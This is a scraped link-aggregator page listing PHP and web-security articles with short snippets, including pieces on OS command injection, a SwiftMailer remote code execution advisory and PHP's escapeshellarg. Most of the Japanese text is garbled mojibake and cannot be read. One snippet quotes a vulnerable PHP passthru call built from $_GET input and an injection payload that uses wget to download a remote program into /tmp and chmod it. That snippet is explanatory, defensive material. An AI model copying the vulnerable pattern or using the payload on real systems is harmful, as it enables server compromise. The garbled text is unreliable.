Creating A Cache-aware HTTP/2 Server Push Mechanism | CSS-Tricks
DigitalOcean provides cloud products for every stage of your journey. Get started with $200 in free credit! If you’ve been reading at all about HTTP/2, then you’ve likely heard about server push. If not, here’s the gist of it: Server push lets you preemptively send an asset when the client requests another. To use it, you need an HTTP/2-capable web server, and then you just set a Link header for t
It Turns Out, 2017 is the Year of Simply Secure PHP Cryptography - Paragon Initiative Enterprises Blog
The latest information from the team that develops cryptographically secure PHP software. Is Your Cryptography Reliable? Our team specializes in studying real world cryptography implementations to assure their correctness and security. Why You Want to Hire Our Company Contact Us Six months ago, I wrote a blog post titled Let's Make 2017 the Year of Simply Secure PHP Cryptography, which at the time
Kornel / babel-preset-php · GitLab
Babel preset for converting PHP syntax to JavaScript. It can run subset of PHP in the browser or in Node.js. Expanding Atwood's Law.
Capsule
Capsule Clean, concise, composable dependency injection for PHP 8. Installation Install Capsule via Composer: composer require capsule/di ^4.0 The Github repository is at capsulephp/di. Autowiring Container Capsule will auto-inject typehinted constructor parameters. use Capsule\Di\Container; use Capsule\Di\Definitions; class Foo implements FooInterface { public function __construct( protected Bar
$_GET 㨠$_POST ã¯ä¸é©åˆ‡ãªåå‰ã§ã‚ã‚‹ - Qiita
æ¦‚è¦ HTTP GET 㨠POST 以外ã®ãƒ¡ã‚½ãƒƒãƒ‰ã«å¯¾ã™ã‚‹ã‚¹ãƒ¼ãƒ‘ーグãƒãƒ¼ãƒãƒ«å¤‰æ•°ã®å°Žå…¥ã‚„ $_POST を改善ã™ã¹ãã‹ã¨ã„ㆠPHP Internals ã®è°è«–ã‚’èªã¿ã¾ã—ãŸã€‚以å‰ã®è°è«–ã®ãƒªãƒ³ã‚¯ãŒã¾ã¨ã¾ã£ã¦ã„ã‚‹ã ã‘ã§ãªãã€ã‚¹ãƒ¼ãƒ‘ーグãƒãƒ¼ãƒãƒ«å¤‰æ•°ãŠã‚ˆã³ HTTP 通信ã®ä»•æ§˜ã‚’ã©ã®ã‚ˆã†ã«å¦ã¶ã®ã‹ã®æƒ…å ±ãŒã¾ã¨ã¾ã£ã¦ã„ã‚‹ã®ã§ã€è¨˜éŒ²ã«æ®‹ã—ã¦ãŠãã“ã¨ã«ã—ã¾ã—ãŸã€‚åŒæ™‚ã« PSR-7 以é™ã®è°è«–ã«ã¤ã„ã¦ã‚‚記載ã—ã¾ã—ãŸã€‚ スーパーグãƒãƒ¼ãƒãƒ«å¤‰æ•°ã®åå‰ $_GET $_GET ã¯åå‰ã ã‘ã§ã¯ HTTP GET メッセージをã‚らã‚ã™ã‚‚ã®ã¨ã—ã¦è€ƒãˆã¦ã—ã¾ã„ãŒã¡ã§ã™ãŒã€å®Ÿéš›ã«ã¯ URI クエリパラメーターã§ã‚ã‚Šã€GET リクエスト以外ã«ã‚‚使ã†ã“ã¨ãŒã§ãã¾ã™ã€‚ $_POST $_POST ã¯ãƒªã‚¯ã‚¨ã‚¹ãƒˆãƒœãƒ‡ã‚£ã‚’ã‚らã‚ã—ã¾ã™ãŒã€Content-Type ヘッダーã®å€¤ãŒ x-www-form-urlencoded ã‚‚ã—ãã¯
リモートコード実行ã®è„†å¼±æ€§ (CVE-2016-10074) ã«å¯¾å¿œã—㟠SwiftMailer ã®ã‚»ã‚ュリティリリース - Qiita
æ¦‚è¦ ãƒªãƒ¢ãƒ¼ãƒˆã‚³ãƒ¼ãƒ‰å®Ÿè¡Œã®è„†å¼±æ€§ (CVE-2016-10074) ã«å¯¾å¿œã™ã‚‹ãŸã‚ã« SwiftMailer 5.4.5 ãŒãƒªãƒªãƒ¼ã‚¹ã•ã‚Œã¾ã—ãŸã€‚脆弱性ã®æ¡ä»¶ã«è©²å½“ã™ã‚‹ãƒ—ãƒã‚¸ã‚§ã‚¯ãƒˆã¯ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚¢ãƒƒãƒ—やアプリケーションã®ä¿®æ£ãŒæ±‚ã‚られã¾ã™ã€‚ 該当ã™ã‚‹ãƒ—ãƒã‚¸ã‚§ã‚¯ãƒˆ sendmail ã‚‚ã—ã㯠sendmail ã¨äº’æ›æ€§ãŒã‚ã‚Šã€-X オプションãŒåˆ©ç”¨å¯èƒ½ã§ã‚るプãƒã‚°ãƒ©ãƒ を使ㆠ(postfix 㯠-X を無効ã«ã—ã¦ã„ã‚‹) Fromã€Senderã€ReturnPath フィールドã®å€¤ã«ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‹ã‚‰ã®å…¥åŠ›ã‚’使ㆠlsmith ã•ã‚“ã®ãƒ„イートã«ã‚ˆã‚Œã°ã€Symfony ã®å ´åˆã€transport 㧠smtp ã®ä»£ã‚ã‚Šã« mail を使ã£ã¦ã„るプãƒã‚¸ã‚§ã‚¯ãƒˆãŒè©²å½“ã—ã¾ã™ã€‚ 検証コード 脆弱性を説明ã™ã‚‹ãƒ‰ã‚ュメントã«è¨˜è¼‰ã•ã‚Œã¦ã„るコードã¯æ¬¡ã®ã‚ˆã†ãªã‚‚ã®ã§ã™ã€‚ // sender フィールドをもã¤å•ã„åˆã‚ã›ãƒ•
OSコマンドã®ã‚¨ã‚¹ã‚±ãƒ¼ãƒ— – シェルã®ä»•æ§˜ã¨ã‚³ãƒžãƒ³ãƒ‰ã®å®Ÿè£…
(Last Updated On: )OSコマンドã®ã‚¨ã‚¹ã‚±ãƒ¼ãƒ—ã®ç¶šãã§ã™ã€‚OSコマンドインジェクションを防ããŸã‚ã®ã€OSコマンドã®ã‚¨ã‚¹ã‚±ãƒ¼ãƒ—ã¯SQLã®ã‚¨ã‚¹ã‚±ãƒ¼ãƒ—ã«æ¯”ã¹ã‚‹ã¨ã‹ãªã‚Šé›£ã—ã„ã§ã™ã€‚ 難ã—ããªã‚‹ç†ç”±ã¯å¤šãã®ä¸å®šã¨ãªã‚‹æ¡ä»¶ã«ä¾å˜ã™ã‚‹äº‹ã«ã‚ã‚Šã¾ã™ã€‚ OSコマンドを実行ã™ã‚‹ã‚·ã‚§ãƒ«ã¯ã‚·ã‚¹ãƒ†ãƒ ã«ã‚ˆã£ã¦ç•°ãªã‚‹ シェルã¯ãƒ—ãƒã‚°ãƒ©ãƒŸãƒ³ã‚°è¨€èªžï¼‹è¤‡é›‘ãªã‚¨ã‚¹ã‚±ãƒ¼ãƒ—仕様をæŒã£ã¦ã„る（コマンド以後ã¯ã‚¯ã‚ªãƒ¼ãƒˆãªã—ã§ã‚‚æ–‡å—リテラルã®ãƒ‘ラメーター＋å„種展開処ç†ï¼‰ Webアプリã¯CGIインターフェースã§å‹•ä½œã™ã‚‹ãŸã‚環境変数ã«ã‚¤ãƒ³ã‚¸ã‚§ã‚¯ã‚·ãƒ§ãƒ³ã§ãã‚‹ コマンドパラメーターã®å–り扱ã„ã¯ã‚³ãƒžãƒ³ãƒ‰æ¬¡ç¬¬ã§ã‚ã‚‹ 実行ã•ã‚Œã‚‹ã‚³ãƒžãƒ³ãƒ‰ã®å®Ÿè£…ã«ã‚ˆã‚Šã€é–“接インジェクションãŒå¯èƒ½ã«ãªã‚‹ SQLã®å ´åˆã€å‡ºåŠ›å…ˆã®ã‚·ã‚¹ãƒ†ãƒ ã¯ä¸€å®šã§ã™ã€‚PostgreSQL用ã«ã‚¨ã‚¹ã‚±ãƒ¼ãƒ—ã—ãŸæ–‡å—列をMySQLã§å®Ÿè¡Œã—ãŸã‚Šã€MySQL用ã«ã‚¨ã‚¹ã‚±ãƒ¼ãƒ—ã—ãŸæ–‡å—列をPost
OSコマンドã®ã‚¨ã‚¹ã‚±ãƒ¼ãƒ—
(Last Updated On: )プãƒã‚°ãƒ©ãƒ ã‹ã‚‰OSコマンドを実行ã™ã‚‹å ´åˆã€ã‚¨ã‚¹ã‚±ãƒ¼ãƒ—処ç†ã‚’è¡Œã‚ãªã„ã¨ä»»æ„コマンドãŒå®Ÿè¡Œã•ã‚Œã‚‹å±é™ºæ€§ãŒã‚ã‚Šã¾ã™ã€‚ 今回ã¯OSコマンドã®ã‚¨ã‚¹ã‚±ãƒ¼ãƒ—ã«ã¤ã„ã¦ã§ã™ã€‚ OSコマンドインジェクション OSコマンドインジェクションã¯ãƒ—ãƒã‚°ãƒ©ãƒ ã‹ã‚‰å®Ÿè¡Œã™ã‚‹ã‚³ãƒžãƒ³ãƒ‰ã«ã€æ”»æ’ƒç”¨æ–‡å—列を挿入（インジェクション）ã—ã¦æ„図ã—ãªã„コマンドを実行ã•ã›ã‚‹æ”»æ’ƒã§ã™ã€‚ 例ãˆã°ã€æ¬¡ã®ã‚ˆã†ãªLinuxシステムã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã®å†…容を表示ã•ã›ã‚‹ãƒ—ãƒã‚°ãƒ©ãƒ <?php passthru('ls -l '.$_GET['dir']); （任æ„ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªå†…容を表示ã§ãる脆弱性ã¯ã“ã“ã§ã¯è€ƒæ…®ã—ãªã„） ã«ä¸æ£ãªã‚³ãƒžãƒ³ãƒ‰ã‚’実行ã•ã›ã‚‹ã®ã¯ã¨ã¦ã‚‚ç°¡å˜ã§ã™ã€‚$_GET[‘dir’]ã« . ; cd /tmp; wget http://example.com/evil_program; chmod 755 /t
Security Advisory: PHP's escapeshellcmd and escapeshellarg are insecure
escapeshellrce.md Paul Buonopane paul@namepros.com at NamePros PGP: https://keybase.io/zenexer I'm working on cleaning up this advisory so that it's more informative at a glance. Suggestions are welcome. This advisory addresses the underlying PHP vulnerabilities behind Dawid Golunski's CVE-2016-10033, CVE-2016-10045, and CVE-2016-10074. It assumes prior understanding of these vulnerabilities. This
ãŠçŸ¥ã‚‰ã›
ランã‚ング
ランã‚ング
リリースã€éšœå®³æƒ…å ±ãªã©ã®ã‚µãƒ¼ãƒ“スã®ãŠçŸ¥ã‚‰ã›
最新ã®äººæ°—エントリーã®é…ä¿¡
j次ã®ãƒ–ックマーク
kå‰ã®ãƒ–ックマーク
lã‚ã¨ã§èªã‚€
eコメント一覧を開ã
oページを開ã
PHP: rfc:argon2_password_hash_enhancements
GitHub - paragonie/paseto: Platform-Agnostic Security Tokens
GitHub - walkor/workerman: An asynchronous event driven PHP socket framework. Supports HTTP, Websocket, SSL and other custom protocols.
GitHub - opentracing/opentracing-php: OpenTracing API for PHP
GitHub - shumkov/grpc-everywhere-php: PHP connector for GRPC everywhere server
GitHub - aidantwoods/SecureHeaders: A PHP library aiming to make the use of browser security features more accessible.
PHP: rfc:allow-abstract-function-override
GitHub - phpv8/php-v8: PHP extension for V8 JavaScript engine
Caddy 㧠HTTP/2 㨠php-fpm を利用ã™ã‚‹ - Qiita
PHP: rfc:request_response
GitHub - hnw/php-timecop: A PHP extension providing "time travel" capabilities inspired by ruby timecop gem
{{#tags}}- {{label}}
{{/tags}}